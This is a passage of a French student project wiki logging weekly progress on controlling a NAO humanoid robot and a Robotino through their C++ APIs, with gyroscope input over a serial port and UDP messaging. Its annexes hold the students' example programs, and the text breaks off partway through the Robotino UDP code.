&lt;br /&gt;
Lors de la semaine 3 nous avons commencé à tester différents codes obtenus via la documentation d’Aldebaran mais nous avons rencontré différents problèmes. Le premier fut un problème d’inclusion des librairies fournies par naoqi-sdk, nous avons donc dû chercher sur le web car nous n’étions pas familiers avec qibuild ou Cmake. Nous avons appris que lors de la création d’un nouveau projet, qibuild nous créait un Makefile au sein de projet afin de simplifier la compilation, à partir de là nous avons modifié ce Makefile afin d’inclure les librairies donc nous avions besoin lors de la compilation.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous nous sommes heurtés à un problème de connexion avec le NAO. Lors de la recherche afin de résoudre ce problème nous nous sommes rendus compte que la version 1.14 de ces différents logiciels était bien plus documentée et plus facile d’utilisation (beaucoup de modifications concernant la syntaxe pour l'utilisation de l'API) que la version 2.1 que nous utilisions. C’est pourquoi après de nombreux essais afin de résoudre notre problème sans succès nous avons voulu tenter de contourner le problème en utilisant cette version 1.14 quitte à revenir à la version 2.1 si nécessaire. Cette version fut difficile à se procurer car les archives d’Aldebaran n'étaient pas facile à trouver.&lt;br /&gt;
&lt;br /&gt;
Suite à cela nous avons installé ces logiciels afin de pouvoir les tester lors de la semaine 4.&lt;br /&gt;
&lt;br /&gt;
===Semaine 4===&lt;br /&gt;
&lt;br /&gt;
La version 1.14 s’est révélée être réellement plus facile d’utilisation et nous avons réussi à faire nos premiers test de commande à distance du NAO via le serveur TCP préexistant. Nous avons donc commencé à modifier ces exemples et à créer de nouveau programmes pour tester les différentes fonctions dont nous allions nous servir présentes dans l’API.&lt;br /&gt;
&lt;br /&gt;
Au cours de cette semaine nous avons réussi à faire dire n’importe quelle phrase au NAO et écris des programmes simples afin de faire bouger les différentes parties du NAO (mains, jambes, tète, etc...). En annexe seront présentés ces deux programmes assez simples permettant de faire parler le NAO et de faire bouger sa tète. La partie importante est la partie permettant la connexion au NAO.&lt;br /&gt;
&lt;br /&gt;
Par la suite nous allons améliorer légèrement ce programme pour y ajouter un menu permettant de bouger le NAO en temps réel via des évènements clavier ce qui nous permettra d’avoir une idée concrète du temps de réponse du NAO car pour le moment le temps de réponse est assez long probablement à cause du temps de connexion au NAO.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5===&lt;br /&gt;
&lt;br /&gt;
Le programme permettant le mouvement du NAO en réponse à des événements clavier à été réalisé, de plus nous avons ajouté un fichier texte qui reçoit directement le temps de réponse de chaque mouvement. Nous avons remarqué que la connexion au NAO prend un certain temps à s'établir en revanche une fois la connexion établie le temps de réponse du NAO aux commandes est de l'ordre de la milliseconde. Pour le moment le temps maximum que nous avons observé est de 3.5ms ce qui parait correct pour une application temps réel.&lt;br /&gt;
&lt;br /&gt;
Nous continuons notre apprentissage du C++ et envisageons de faire une interface graphique pour mettre en pratique nos connaissances. En plus de ceci nous regardons plus en détails toutes les fonctions présentent au sein de l'API du NAO afin d'améliorer nos programmes et de voir si nous ne trouvons pas certaines fonctions qui pourraient nous être fort utiles pour la suite.&lt;br /&gt;
Il ne reste que quelques test à faire durant les vacances avant de passer à l’acquisition des données via les capteurs de type centrale inertielle. Nous espérons pouvoir travailler dès lundi sur la partie vraiment concrète de notre projet si nous avons les capteurs à notre disposition.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5.5===&lt;br /&gt;
&lt;br /&gt;
Lors des vacances nous avons fait les tests complémentaires permettant de valider la réponse du NAO à des événements clavier. De plus à l'aide des recherches faite sur l'API du NAO nous avons fait quelques amélioration à notre programme. Maintenant au début de chaque application le NAO se met en position debout pour pouvoir facilement effectuer de nombreuses actions, puis à la fin du programme après avoir exécute tout ce qui lui est demandé ou dans le cas ou une exception est survenue le NAO se remet en position assise.&lt;br /&gt;
&lt;br /&gt;
===Semaine 6===&lt;br /&gt;
&lt;br /&gt;
Cette semaine nous avons réalisé la vidéo permettant de voir la réponse du NAO à des événements clavier ci-dessous. D'autre part nous avons commencé à travailler à l'aide de capteurs, pour l'instant il s'agit d'un simple gyroscope dont nous avons réussi à acquérir les données. Bien qu'elles se présentent sous forme chaotique pour le moment nous cherchons à résoudre ce problème. Il s'agit d'un problème de configuration du port série car nous arrivons à observer les bonnes valeurs via minicom. Mais nous n'avons pas encore trouvé ou se situe le problème étant donné que le baud rate ainsi que le format des données semble bien configuré. Une fois ce problème résolu, nous espérons y arriver lundi ou durant le week-end, nous devrions être capable de réaliser un programme permettant de bouger la tête du NAO suivant l'angle du gyromètre. &lt;br /&gt;
&lt;br /&gt;
Ainsi que l'ajout du lien vers le git dans les annexes comportant différents programmes pour le NAO ainsi que le programme d'acquisition des donnée via port série qui ne fonctionne pas pour le moment.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:NaoClavier.avi|900px|thumb|left|Vidéo présentant la réponse du NAO à des événements clavier‎]]&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Semaine 7===&lt;br /&gt;
&lt;br /&gt;
Le programme permettant de récupérer les valeurs du gyromètre a été débogué il s'agissait en fait d'un problème d'affichage car nous utilisions un buffer défini en char et non en unsigned char. Nous avons donc réussi à récupérer les valeurs provenant du gyromètre et nous avons implémenté ce code afin de bouger la tête du NAO en temps réel en réponse aux mouvement du gyromètre. (Annexe 3)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:NAOGyro.avi‎|500px|thumb|left|Vidéo présentant la réponse du NAO à un gyromètre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant que cette partie a été réalisé notre but va être d'analyser la robustesse de notre programme, généraliser avec plusieurs gyromètres ou bien utiliser d'autres capteurs. Pour l'instant je pense que nous allons commencer par la partie robustesse car c'est ce qui nous est demandé. Nous allons donc faire des tests ou nous allons voir si le NAO est capable de gérer de nombreuses requêtes simultanées, comme par exemple des demandes de mouvement multiples sur différentes articulations.&lt;br /&gt;
&lt;br /&gt;
Après discussion avec notre encadrant les objectifs pour le moment en plus du test de robustesse sont:&lt;br /&gt;
*Analyse de la précision concernant le programme permettant de bouger la tête avec le gyromètre ainsi qu'une amélioration de ce programme.&lt;br /&gt;
*Réalisation d'une interface graphique qui pourrait incorporer les fonctions utilisés jusqu’à maintenant c'est à dire bouger différentes articulations et permettre le déplacement du NAO.&lt;br /&gt;
*Et pour finir faire bouger le NAO par l'intermédiaire d'un Robotino au lieu d'une interaction humaine pour le moment car sans exosquelette il semble plus intéressant de faire une communication ou le NAO se déplacerait suivant les mouvements du Robotino. De plus pour que la communication soit réciproque il sera intégré des actions réalisées par le Robotino lors d'une action sur certains capteurs du NAO mais ceci reste encore à définir.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8===&lt;br /&gt;
&lt;br /&gt;
Lors de la semaine 8 nous avons amélioré le code permettant de faire bouger la tête avec le gyromètre et analysé la précision de celui-ci, nous avons un écart de position inférieur à 3°. Des tests ont été réalisés concernant la robustesse, nous avons fait un programme qui commandait 6 moteurs du NAO de manière simultanée en temps réel, on remarque que si l'on essaie de commander trop de moteurs les mouvements ne sont plus assez fluides il pourra être intéressant de refaire un test avec seulement 4 moteurs de commandés.&lt;br /&gt;
&lt;br /&gt;
Concernant la partie avec le Robotino nous avons récupéré du code concernant la communication distante avec celui-ci nous allons commencer à mettre en place la communication lors de la semaine 9.&lt;br /&gt;
&lt;br /&gt;
===Semaine 9===&lt;br /&gt;
&lt;br /&gt;
La semaine 9 a été consacrée à la communication avec le Robotino. Pour cela nous avons récupéré un Robotino3 avec lequel nous allons communiquer en utilisant Robotino API2 une API utilisable en C++. Nous avons donc commencé à étudier les documents qui nous ont été fournis lors de la semaine 8.&lt;br /&gt;
&lt;br /&gt;
De plus le programme NAO permettant la gestion du gyromètre a été modifié pour s'interrompre correctement lors de la réception d'un SIGINT.&lt;br /&gt;
&lt;br /&gt;
===Semaine 10===&lt;br /&gt;
&lt;br /&gt;
Peu de travail réalisé en semaine 10 suite à des problèmes avec le Robotino. Réalisation d'un code permettant de récupérer les valeurs de position du Robotino alors qu'il se déplace afin de décrire un cercle. En revanche ce code n'a pas encore été testé.&lt;br /&gt;
&lt;br /&gt;
===Semaine 11===&lt;br /&gt;
&lt;br /&gt;
Suite aux problèmes rencontrés en semaine 10 nous utilisons maintenant un autre Robotino en attendant que celui que nous utilisions soit à nouveau fonctionnel. Le code réalisé en semaine 10 a été testé et fonctionne correctement. Il sera bientôt en Annexe le temps de commenter correctement. Nous arrivons à récupérer les valeurs de position du Robotino et elles sont envoyées au programme NAO via un serveur UDP il nous reste à tester le programme NAO et à ajuster les déplacements des deux robots.&lt;br /&gt;
&lt;br /&gt;
===Semaine 12===&lt;br /&gt;
&lt;br /&gt;
Pour la semaine 12 le programme NAO a été testé. Vu que nous n'avons pas accès au Robotino dû à la RobotCup nous avons travaillé sur le rapport. Les tests finaux seront réalisés lors des vacances.&lt;br /&gt;
&lt;br /&gt;
===Semaine 13 et 14===&lt;br /&gt;
&lt;br /&gt;
Pendant les vacances nous avons réalisé les derniers tests et la communication entre les deux robots semble fonctionnelle bien que l'utilisation d'une structure contenant les données de position du Robotino a été remplacée par une succession de trois floats séparés par un quatrième float qui indique une fin de paquet. Ceci car nous n'arrivions pas a la faire fonctionner avec la structure sur le Robotino et donc choisi d'utiliser une autre méthode faute de temps pour débugger.&lt;br /&gt;
&lt;br /&gt;
De plus le code Robotino a été modifié afin de pouvoir le déplacer comme nous le souhaitons suivant 4 directions.(Annexe 4)&lt;br /&gt;
&lt;br /&gt;
==Annexes==&lt;br /&gt;
Lien github contenant les fichiers pour ce projet : [https://github.com/ethwynn/ProjetNao Github]&lt;br /&gt;
&lt;br /&gt;
===Annexe 1===&lt;br /&gt;
&lt;br /&gt;
Voici à quoi ressemble le programme permettant de faire parler le NAO.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color:Green;&amp;quot;&amp;gt;#include &amp;lt;iostream&amp;gt;&lt;br /&gt;
 #include &amp;lt;stdlib.h&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;//Librairie permettant la creation du proxy&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color:Green;&amp;quot;&amp;gt;#include &amp;lt;alcommon/alproxy.h&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 int main(int argc, char* argv[])&lt;br /&gt;
 {&lt;br /&gt;
   &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;// Nous allons connecter notre Broker a Naoqi&amp;lt;/span&amp;gt;&lt;br /&gt;
   int pport = 9559;&lt;br /&gt;
   std::string pip = &amp;quot;127.0.0.1&amp;quot;;&lt;br /&gt;
 &lt;br /&gt;
   &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;// On teste le nombre d'arguments&amp;lt;/span&amp;gt;&lt;br /&gt;
   if (argc != 1 &amp;amp;&amp;amp; argc != 3 &amp;amp;&amp;amp; argc != 5)&lt;br /&gt;
   {&lt;br /&gt;
     std::cerr &amp;lt;&amp;lt; &amp;quot;Wrong number of arguments!&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
     std::cerr &amp;lt;&amp;lt; &amp;quot;Usage: mymodule [--pip robot_ip] [--pport port]&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
     exit(2);&lt;br /&gt;
   }&lt;br /&gt;
 &lt;br /&gt;
   &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;// Si il y a un seul argument il s'agit de l'IP ou du PORT&amp;lt;/span&amp;gt;&lt;br /&gt;
   if (argc == 3)&lt;br /&gt;
   {&lt;br /&gt;
     if (std::string(argv[1]) == &amp;quot;--pip&amp;quot;)&lt;br /&gt;
       pip = argv[2];&lt;br /&gt;
     else if (std::string(argv[1]) == &amp;quot;--pport&amp;quot;)&lt;br /&gt;
       pport = atoi(argv[2]);&lt;br /&gt;
     else&lt;br /&gt;
     {&lt;br /&gt;
       std::cerr &amp;lt;&amp;lt; &amp;quot;Wrong number of arguments!&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
       std::cerr &amp;lt;&amp;lt; &amp;quot;Usage: mymodule [--pip robot_ip] [--pport port]&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
       exit(2);&lt;br /&gt;
     }&lt;br /&gt;
   }&lt;br /&gt;
 &lt;br /&gt;
   &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;// Si il y a deux arguments on specifie le PORT et L'IP&amp;lt;/span&amp;gt;&lt;br /&gt;
   if (argc == 5)&lt;br /&gt;
   {&lt;br /&gt;
     if (std::string(argv[1]) == &amp;quot;--pport&amp;quot;&lt;br /&gt;
         &amp;amp;&amp;amp; std::string(argv[3]) == &amp;quot;--pip&amp;quot;)&lt;br /&gt;
     {&lt;br /&gt;
       pport = atoi(argv[2]);&lt;br /&gt;
       pip = argv[4];&lt;br /&gt;
     }&lt;br /&gt;
     else if (std::string(argv[3]) == &amp;quot;--pport&amp;quot;&lt;br /&gt;
              &amp;amp;&amp;amp; std::string(argv[1]) == &amp;quot;--pip&amp;quot;)&lt;br /&gt;
     {&lt;br /&gt;
       pport = atoi(argv[4]);&lt;br /&gt;
       pip = argv[2];&lt;br /&gt;
     }&lt;br /&gt;
     else&lt;br /&gt;
     {&lt;br /&gt;
       std::cerr &amp;lt;&amp;lt; &amp;quot;Wrong number of arguments!&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
       std::cerr &amp;lt;&amp;lt; &amp;quot;Usage: mymodule [--pip robot_ip] [--pport port]&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
       exit(2);&lt;br /&gt;
     }&lt;br /&gt;
   } &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
   &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/**&lt;br /&gt;
    * On cree un proxy qui permet d'appeler un module defini dans l'API&lt;br /&gt;
    * La methode pour appeler ce module ce presente comme ceci :&lt;br /&gt;
    * AL::ALProxy proxy(&amp;lt;module_name&amp;gt;, &amp;lt;robot_IP&amp;gt;, &amp;lt;robot_port&amp;gt;);&lt;br /&gt;
    */&lt;br /&gt;
   // Creation d'un proxy vers ALTextToSpeechProxy&amp;lt;/span&amp;gt;&lt;br /&gt;
   AL::ALProxy proxy(&amp;quot;ALTextToSpeech&amp;quot;, pip, pport);&lt;br /&gt;
 &lt;br /&gt;
   &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/**&lt;br /&gt;
    * Si la methode ne renvoie rien&lt;br /&gt;
    * On l'appelle de cette maniere :&lt;br /&gt;
    * proxy.callVoid(&amp;lt;bind_method&amp;gt;, &amp;lt;parameter&amp;gt;, ...)&lt;br /&gt;
    */&lt;br /&gt;
   // On appelle la methode Say&amp;lt;/span&amp;gt;&lt;br /&gt;
   proxy.callVoid(&amp;quot;say&amp;quot;, std::string(&amp;quot;Bonjour je m'appelle NAO!&amp;quot;));&lt;br /&gt;
 &lt;br /&gt;
   return 0;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
===Annexe 2===&lt;br /&gt;
&lt;br /&gt;
Ce programme fait tourner la tête du Nao dans un sens puis dans l'autre avant de revenir en position initiale.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color:Green;&amp;quot;&amp;gt;#include &amp;lt;iostream&amp;gt;&lt;br /&gt;
 #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;stdio.h&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;span style=&amp;quot;color:Green;&amp;quot;&amp;gt;#include &amp;lt;alcommon/alproxy.h&amp;gt;&amp;lt;/span&amp;gt;           &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;//Librairie permettant la creation du proxy&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color:Green;&amp;quot;&amp;gt;#include &amp;lt;alproxies/almotionproxy.h&amp;gt;&amp;lt;/span&amp;gt;    &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;//Librairie contenant les fonctions pour faire bouger le NAO&amp;lt;/span&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 int main(int argc, char* argv[])&lt;br /&gt;
 {&lt;br /&gt;
   &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;// Nous allons connecter notre Broker a Naoqi&amp;lt;/span&amp;gt;&lt;br /&gt;
   ...&lt;br /&gt;
   &amp;lt;span style=&amp;quot;color:Red;&amp;quot;&amp;gt;Toute la partie connexion est identique au programme précédent.&amp;lt;/span&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
   &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/** Le nom de la partie que l'on souhaite bouger */&amp;lt;/span&amp;gt;&lt;br /&gt;
   const AL::ALValue jointName = &amp;quot;HeadYaw&amp;quot;;      &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;//Ici il s'agit de la tete&amp;lt;/span&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
   try {&lt;br /&gt;
     &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/** On cree notre proxy qui servira a appeler les methodes pour bouger la tete&lt;br /&gt;
     * Les arguments du constructeur sont :&lt;br /&gt;
     * - L'addresse IP du NAO&lt;br /&gt;
     * - Le port utilisé. Par default il s'agit du port 9559&lt;br /&gt;
     */&amp;lt;/span&amp;gt;&lt;br /&gt;
     AL::ALMotionProxy motion(pip, 9559);&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
     &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/** Afin de bouger la tete on doit vérifier qu'elle n'est plus asservie&lt;br /&gt;
     * Pour cela on va mettre la &amp;quot;durete&amp;quot; de la tete a la valeur maxi, c'est dans cette position que l'on peut bouger la tete&lt;br /&gt;
     */&lt;br /&gt;
     /** Durete voulue */&amp;lt;/span&amp;gt;&lt;br /&gt;
     AL::ALValue stiffness = 1.0f;&lt;br /&gt;
     &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/** Temps en seconde pour atteindre cette valeur */&amp;lt;/span&amp;gt;&lt;br /&gt;
     AL::ALValue time = 1.0f;&lt;br /&gt;
     &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/** Appel de la methode pour realiser l'action */&amp;lt;/span&amp;gt;&lt;br /&gt;
     motion.stiffnessInterpolation(jointName, stiffness, time); &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
     &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/** Ensuite on va bouger la tete&lt;br /&gt;
     * Pour cela on va lui donner des angles et le temps utilisé pour atteindre ces angles&lt;br /&gt;
     */&lt;br /&gt;
     /** On défini une liste d'angles, en radians. */&amp;lt;/span&amp;gt;&lt;br /&gt;
     AL::ALValue targetAngles = AL::ALValue::array(-1.5f, 1.5f, 0.0f);&lt;br /&gt;
     &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/** On defini les temps correspondants, en secondes. */&amp;lt;/span&amp;gt;&lt;br /&gt;
     AL::ALValue targetTimes = AL::ALValue::array(3.0f, 6.0f, 9.0f);&lt;br /&gt;
     &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/** Ensuite on peut choisir si les angles sont des positions absolues ou relatives par rapport a la position actuelle de la tete. */&lt;br /&gt;
     /** Ici se sont des angles absolus. */&amp;lt;/span&amp;gt;&lt;br /&gt;
     bool isAbsolute = true;&lt;br /&gt;
 &lt;br /&gt;
     &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/** Puis on appelle notre fonction. */&amp;lt;/span&amp;gt;&lt;br /&gt;
     motion.angleInterpolation(jointName, targetAngles, targetTimes, isAbsolute);&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
     &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/** Pour finir on remet la durete a sa valeur initiale. */&amp;lt;/span&amp;gt;&lt;br /&gt;
     stiffness = 0.0f;&lt;br /&gt;
     time = 1.0f;&lt;br /&gt;
     motion.stiffnessInterpolation(jointName, stiffness, time);&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
     }&lt;br /&gt;
     catch (const AL::ALError&amp;amp; e) {&lt;br /&gt;
       std::cerr &amp;lt;&amp;lt; &amp;quot;Caught exception: &amp;quot; &amp;lt;&amp;lt; e.what() &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
       exit(1);&lt;br /&gt;
     }&lt;br /&gt;
 exit(0);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
===Annexe 3===&lt;br /&gt;
&lt;br /&gt;
Voici le programme final permettant de réaliser un suivi de l'angle du gyromètre avec la tête du Nao. Il y a peu de commentaires car toute la configuration est identique au programme précédent. La partie gestion du port série n'est pas détaillée ici mais elle est disponible sur Github.&lt;br /&gt;
&lt;br /&gt;
 struct sigaction action;&lt;br /&gt;
 bool inter = true;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;//Gestion du SIGINT afin de permettre l’arrêt du programme&amp;lt;/span&amp;gt;&lt;br /&gt;
 void hand(int sig){&lt;br /&gt;
 	if (sig == SIGINT){&lt;br /&gt;
 		printf(&amp;quot;SIGINT\n&amp;quot;);&lt;br /&gt;
 		inter = false;&lt;br /&gt;
 	}&lt;br /&gt;
 	else{&lt;br /&gt;
 		printf(&amp;quot;bizarre !\n&amp;quot;);&lt;br /&gt;
 	}&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 int main(int argc, char* argv[])&lt;br /&gt;
 {&lt;br /&gt;
   &amp;lt;span style=&amp;quot;color:Red;&amp;quot;&amp;gt;//Connexion &amp;lt;/span&amp;gt;&lt;br /&gt;
   ...&lt;br /&gt;
 &lt;br /&gt;
   &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/** Nom du joint à bouger. */&amp;lt;/span&amp;gt;&lt;br /&gt;
   const AL::ALValue names = &amp;quot;HeadYaw&amp;quot;;&lt;br /&gt;
   int fd;&lt;br /&gt;
   double angle;&lt;br /&gt;
   unsigned char buf[8] = {0};&lt;br /&gt;
   action.sa_handler = hand;&lt;br /&gt;
   sigaction(SIGINT, &amp;amp;action, NULL);&lt;br /&gt;
 &lt;br /&gt;
   init_serial(&amp;amp;fd); &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/Initialisation du port serie&amp;lt;/span&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
   AL::ALMotionProxy motion(pip, 9559);&lt;br /&gt;
   AL::ALRobotPostureProxy robotPosture(pip,9559);&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
   try {&lt;br /&gt;
 &lt;br /&gt;
     &amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;//Make the NAO stand&amp;lt;/span&amp;gt;&lt;br /&gt;
     robotPosture.goToPosture(&amp;quot;Stand&amp;quot;, 1.0f);&lt;br /&gt;
 &lt;br /&gt;
     AL::ALValue stiffness = 1.0f;&lt;br /&gt;
     AL::ALValue time = 1.0f;&lt;br /&gt;
     motion.stiffnessInterpolation(&amp;quot;Head&amp;quot;, stiffness, time);&lt;br /&gt;
 &lt;br /&gt;
     double newAngle=0.0,a0=0,rangle;&lt;br /&gt;
     while(a0 == 0){&lt;br /&gt;
 	getData(buf,fd);&lt;br /&gt;
 	a0 = getAngle(buf);&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
     while(inter){&lt;br /&gt;
 		&lt;br /&gt;
 	getData(buf,fd);&lt;br /&gt;
 	angle = getAngle(buf);&lt;br /&gt;
 	if (angle != 0){&lt;br /&gt;
 		rangle = angle -a0;&lt;br /&gt;
 	}&lt;br /&gt;
 &lt;br /&gt;
 	if (rangle &amp;gt; 180){&lt;br /&gt;
 		rangle = rangle - 360;&lt;br /&gt;
 	}&lt;br /&gt;
 	else if (rangle &amp;lt; -180){&lt;br /&gt;
 		rangle = rangle + 360;&lt;br /&gt;
 	}&lt;br /&gt;
 	rangle = (rangle*PI)/180;&lt;br /&gt;
 	std::vector&amp;lt;float&amp;gt; sensorAngle = motion.getAngles(names, true); &lt;br /&gt;
 &lt;br /&gt;
 	double changes = rangle - sensorAngle[0];&lt;br /&gt;
 	std::cout &amp;lt;&amp;lt; &amp;quot;changes: &amp;quot; &amp;lt;&amp;lt; changes &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
 	float fractionMaxSpeed = 0.10f;&lt;br /&gt;
 	&amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;// Appelle la fonction changeAngles qui permet de bouger un joint à la vitesse désirée&amp;lt;/span&amp;gt;&lt;br /&gt;
 	if(changes &amp;gt; 0.07 || changes &amp;lt; -0.07){&lt;br /&gt;
 		motion.changeAngles(names, changes, fractionMaxSpeed);&lt;br /&gt;
 	}&lt;br /&gt;
 	else{&lt;br /&gt;
 	} 			&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
     stiffness = 0.0f;&lt;br /&gt;
     time = 1.0f;&lt;br /&gt;
     motion.stiffnessInterpolation(&amp;quot;Head&amp;quot;, stiffness, time);&lt;br /&gt;
 &lt;br /&gt;
     robotPosture.goToPosture(&amp;quot;Sit&amp;quot;, 1.0f);&lt;br /&gt;
 &lt;br /&gt;
  &lt;br /&gt;
     } &lt;br /&gt;
     catch (const AL::ALError&amp;amp; e) {&lt;br /&gt;
       std::cerr &amp;lt;&amp;lt; &amp;quot;Caught exception: &amp;quot; &amp;lt;&amp;lt; e.what() &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
 &lt;br /&gt;
       robotPosture.goToPosture(&amp;quot;Sit&amp;quot;, 1.0f);&lt;br /&gt;
 &lt;br /&gt;
       exit(1);&lt;br /&gt;
     }&lt;br /&gt;
 exit(0);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
===Annexe 4===&lt;br /&gt;
&lt;br /&gt;
Voici le programme Robotino qui permet de déplacer le Robotino tout en envoyant les données de position via un serveur UDP.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;span style=&amp;quot;color:Green;&amp;quot;&amp;gt;#define _USE_MATH_DEFINES&lt;br /&gt;
 #include &amp;lt;cmath&amp;gt;&lt;br /&gt;
 #include &amp;lt;iostream&amp;gt;&lt;br /&gt;
 #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;netdb.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;string.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;signal.h&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 #include &amp;quot;rec/robotino/api2/all.h&amp;quot;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 using namespace rec::robotino::api2;&lt;br /&gt;
 &lt;br /&gt;
 bool _run = true;&lt;br /&gt;
 &lt;br /&gt;
 void messageUDP(char *hote,char *service,float message,int taille){&lt;br /&gt;
 &lt;br /&gt;
 	 struct addrinfo precisions,*resultat;&lt;br /&gt;
 	 int statut;&lt;br /&gt;
 	 int s;&lt;br /&gt;
  &lt;br /&gt;
  	&amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/* Creation de l'adresse de socket */&amp;lt;/span&amp;gt;&lt;br /&gt;
  	memset(&amp;amp;precisions,0,sizeof precisions);&lt;br /&gt;
 	precisions.ai_family=AF_UNSPEC;&lt;br /&gt;
 	precisions.ai_socktype=SOCK_DGRAM;&lt;br /&gt;
 	statut=getaddrinfo(hote,service,&amp;amp;precisions,&amp;amp;resultat);&lt;br /&gt;
 	if(statut&amp;lt;0){ perror(&amp;quot;messageUDPgenerique.getaddrinfo&amp;quot;); exit(EXIT_FAILURE); }&lt;br /&gt;
 &lt;br /&gt;
 	&amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/* Creation d'une socket */&amp;lt;/span&amp;gt;&lt;br /&gt;
 	s=socket(resultat-&amp;gt;ai_family,resultat-&amp;gt;ai_socktype,resultat-&amp;gt;ai_protocol);&lt;br /&gt;
 	if(s&amp;lt;0){ perror(&amp;quot;messageUDPgenerique.socket&amp;quot;); exit(EXIT_FAILURE); }&lt;br /&gt;
 &lt;br /&gt;
 	&amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/* Option sur la socket */&amp;lt;/span&amp;gt;&lt;br /&gt;
 	int vrai=1;&lt;br /&gt;
 	if(setsockopt(s,SOL_SOCKET,SO_BROADCAST,&amp;amp;vrai,sizeof(vrai))&amp;lt;0){&lt;br /&gt;
 		perror(&amp;quot;initialisationServeurUDPgenerique.setsockopt (BROADCAST)&amp;quot;);&lt;br /&gt;
 		exit(-1);&lt;br /&gt;
 	}&lt;br /&gt;
 &lt;br /&gt;
 	&amp;lt;span style=&amp;quot;color:Blue;&amp;quot;&amp;gt;/* Envoi du message */&amp;lt;/span&amp;gt;&lt;br /&gt;
